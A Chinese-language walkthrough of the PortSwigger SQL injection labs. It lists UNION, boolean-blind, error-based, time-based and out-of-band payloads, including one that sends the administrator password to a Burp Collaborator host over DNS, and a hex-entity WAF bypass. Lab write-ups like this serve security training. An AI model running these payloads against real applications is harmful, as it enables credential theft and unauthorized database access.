SQL injection
sql注入
sql注入备忘录清单
https://portswigger.net/web-security/sql-injection/cheat-sheet
SQL1
这里让我们显示所有的产品详细信息
点点看发现一个参数
但是这里不是注入点 下面才是
这里简单测试一下注入点便过关了
SQL2
这里需要我们以administrator 用户登录
或者
SQL3
让我们通过 union 注入获取列数 并将数据全部置为空
3没问题 4 报错 那么说明就是三列
SQL4
这里首先要用 union 确定列数 接着确定兼容字符串的列
这里写有让数据库返回的值
可见2是回显位
SQL5
这里让我们检索administrator的密码 顺便告诉了我们在users表 的username 和 password中
SQL6
这里的目的和上一关是一样的
这里使用上一关的payload 不可行 这里可能是由于数据类型不兼容
当修改第一个参数为NULL的时候这里便可以正常执行
但是这里仅有一个回显位 这里的话 我们可以选择分开执行 当然也可以将查询到的内容进行连接操作 但是这里我们并不知道网站使用的是那个数据库 这里我们可以找到
version
从这里的sql注入的解释中可以看到
' union select NULL,username || '@' || password from users--+ |
SQL7
这里让我们显示数据库的版本信息
但是这里当 使用 select 语句的时候出现了错误 这里的主要愿意是由于这里的数据库是oracle
这里有写 oracle 的 select 语句
这里告诉了我们 oracle 的查询version 的语句
SQL8
同样的显示版本
SQL9
让我们找到 用户名和密码
SQL10
其实Oracle中也有类似信息模式的东西,比如查所有的表 |
布尔盲注(11)
需要我们布尔盲注
寻找注入点
一个11125 一个11064
发送到Comperer
这里可以发现当正确执行时返回Welcome back!
CyqF7a1v6bQ1AFQ2' and '1'='1 |
单引号包裹
CyqF7a1v6bQ1AFQ2' and (select '1')='1'-- |
判断数据库类型
字符串处理方式
mysql
CyqF7a1v6bQ1AFQ2' and 'a'+'b'='ab'-- |
oracle
CyqF7a1v6bQ1AFQ2' and 'a'||'b'='ab'-- |
sql server
CyqF7a1v6bQ1AFQ2' and 'a'+'b'='ab'-- |
数据库特有数据表
mysql
CyqF7a1v6bQ1AFQ2' and (select count(*) from information_schema.tables)>0 and '1'='1'-- |
oracle
CyqF7a1v6bQ1AFQ2' and (select count(*) from sys.user_tables)>0 and '1'='1'-- |
sql server
CyqF7a1v6bQ1AFQ2' and (select count(*) from sysobjects)>0 and '1'='1'-- |
盲注特别函数判断
mysql
CyqF7a1v6bQ1AFQ2' and benchmark(10000000000,encode('qwe','asd'))-- |
postgresql
pg_sleep(5) |
sql server
waitfor delay'0:0:5' |
应该是oracle
但是是mysql的表?
写下脚本
import requests |
case when布尔盲注(12)
这里当’ 时会触发500 说明存在注入
这里尝试构造
这里无论是否查询到内容这里的返回都是相同的 但是这里可以发现如果sql语句出错的话依然会出现不同的回显
AlmLsfzlwnzurSMV'||(select '')||' |
尝试注入 这里依然是sql语句出错
AlmLsfzlwnzurSMV'||(select '' from dual)||' |
当尝试去使用oracle的sql语句时不在出错说明此数据库是oracle的
AlmLsfzlwnzurSMV'||(select '' from not-a-real-table)||' |
当我们尝试去故意查询不存在的表时出现了错误
KtHOWm7hjvTVkebf' and (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)='1'-- |
这里去构造case when去 根据 条件不同来触发sql 语句错误 从而导致页面回显不同 这里使用了case 设置了一个条件判断,当布尔结果为true时则因返回一个字符得到正常响应 如果错误就触发除零导致报错
import requests |
时间盲注(13)
这里是需要延迟十秒即可 其次这里的数据库是 PostgreSQL
MXbXlv1I0d83X'||pg_sleep(10)-- |
这里的 || 是指连接字符串的意思
时间盲注(14)
这里需要我们通过时间盲注注内容
MXbXlv1I0d83X'%3bselect case when (1=1) then pg_sleep(10) else pg_sleep(0) end-- |
import requests |
外带请求(15)
这里由于处理请求和数据库操作是两个线程异步执行的这里导致我们之前的技术都不生效了 那么这里便使用了sql语句的dns请求
先生成一个url
将生成的url填入下方
x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//lodzuvzzgjnnjcvh7yff10vuhlncb1.burpcollaborator.net">+%25remote%3b]>'),'/l')+FROM+dual-- |
x' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://lodzuvzzgjnnjcvh7yff10vuhlncb1.burpcollaborator.net"> %remote;]>'),'/l') FROM dual-- |
外带数据(16)
这次需要我们注入数据并带出来
c9Dnqj7ysSXtqlBF'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+from+users+where+username%3d'administrator')||'.lodzuvzzgjnnjcvh7yff10vuhlncb1.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--+ |
xml编码绕过(17)
这里需要我们去注入数据 但是这里存在waf 需要去绕过
先安装一个插件
注入点
说明表达式被执行了
我们先来看看怎么过滤的
单引号不行
选中然后进行html实体编码 这里的原因就是xml兼容html实体字符编码
加密也确实是这样的
<@hex_entities>1 union select password from users where username='administrator'<@/hex_entities> |